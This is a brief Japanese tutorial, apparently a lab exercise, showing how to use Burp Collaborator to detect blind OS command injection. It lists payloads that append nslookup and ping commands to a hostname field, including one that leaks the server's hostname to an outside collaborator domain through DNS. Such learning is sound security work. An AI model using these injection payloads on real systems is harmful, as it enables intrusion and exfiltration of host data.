Hello there, ('ω')ノ
Collaboratorの使い方に慣れるために簡単なところから。
まずは、正常動作確認を。
Collaboratorクライアントを指定してみると。
wccb66wxoop4r78cjotvm9bl4ca2yr.burpcollaborator.net
Collaboratorクライアントが応答を受け取り。
コマンドが実行されたことが確認できて。
次にコマンドインジェクションを。
www.nsa.gov;nslookup 0wxfqag18s98bbsg3sdz6dvpogu7iw.burpcollaborator.net
こちらでも新たにCollaboratorクライアントが応答を受け取り。
コマンドが実行されたことが確認できて。
さらにペイロードを挿入してみると。
ページ上でも確認できて。
www.nsa.gov;nslookup $(hostname).nd427xxopfqvsy93kfumn0cc53bvzk.burpcollaborator.net
さらにはCollaboratorクライアントが応答を受け取り。
コマンドが実行されたことが確認できて。
もう一つ別のペイロードを挿入してみると。
ページ上では何も確認できなくて。
www.nsa.gov& ping -n 5 503kufk6cxddfgwl7xh4aizuslyfm4.burpcollaborator.net
ただし、Collaboratorクライアントが応答を受け取り。
コマンドが実行されたことが確認できて。
Best regards, (^^ゞ
